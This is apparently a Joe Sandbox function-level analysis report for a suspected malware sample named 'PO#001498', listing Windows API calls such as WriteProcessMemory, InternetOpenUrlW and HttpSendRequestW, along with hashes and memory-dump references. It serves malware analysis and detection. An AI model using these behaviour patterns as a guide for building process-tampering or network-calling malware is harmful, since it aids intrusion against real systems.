                                                                                                                                                                                                        • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d956ccd27091b275d92ae689e644ef0078f9b2b1c30e9ed5fdb952697d9d3722
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                                                                                                                        Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                                                                                                                        • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                                                                                                                        • String ID: LPT$HH
                                                                                                                                                                                                        • API String ID: 3035604524-2728063697
                                                                                                                                                                                                        • Opcode ID: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                                                                                                                                        • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                                                                                                                        Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                                                                          • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 4055202900-2766056989
                                                                                                                                                                                                        • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                                        • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                                                                        Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CrackInternet_memset_wcslen
                                                                                                                                                                                                        • String ID: |
                                                                                                                                                                                                        • API String ID: 915713708-2343686810
                                                                                                                                                                                                        • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                                        • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                                                                        Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                                                                        • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                                                                        • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                                                                          • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3705125965-3916222277
                                                                                                                                                                                                        • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                                        • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                                                                        Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                                                                                                                        • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Long
                                                                                                                                                                                                        • String ID: SysTreeView32
                                                                                                                                                                                                        • API String ID: 847901565-1698111956
                                                                                                                                                                                                        • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                                        • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                                                                                                                        Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DestroyWindow
                                                                                                                                                                                                        • String ID: msctls_updown32
                                                                                                                                                                                                        • API String ID: 3375834691-2298589950
                                                                                                                                                                                                        • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                                        • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                                                                                                                        Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$MoveWindow
                                                                                                                                                                                                        • String ID: Listbox
                                                                                                                                                                                                        • API String ID: 3315199576-2633736733
                                                                                                                                                                                                        • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                                        • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                                                                        Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                                                                                                                        • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 2507767853-2761332787
                                                                                                                                                                                                        • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                                        • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                                                                                                                        Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                                                                                                                        • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 2507767853-2761332787
                                                                                                                                                                                                        • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                                        • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                                                                                                                        Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: msctls_trackbar32
                                                                                                                                                                                                        • API String ID: 3850602802-1010561917
                                                                                                                                                                                                        • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                                        • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                                                                                                                        Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                                        • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                                                                                                                        • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 1515696956-2761332787
                                                                                                                                                                                                        • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                                        • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                                                                                                                        Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                                                                                                                        • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                                                                                                                        • DrawMenuBar.USER32 ref: 00449828
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$InfoItem$Draw_malloc
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 772068139-4108050209
                                                                                                                                                                                                        • Opcode ID: c8976dca06d6b4a67e3115e3fbda4fe950bcb9b91ddbb3afb2d21d0cb6793a10
                                                                                                                                                                                                        • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c8976dca06d6b4a67e3115e3fbda4fe950bcb9b91ddbb3afb2d21d0cb6793a10
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                                                                                                                        Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AllocTask_wcslen
                                                                                                                                                                                                        • String ID: hkG
                                                                                                                                                                                                        • API String ID: 2651040394-3610518997
                                                                                                                                                                                                        • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                                                        • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
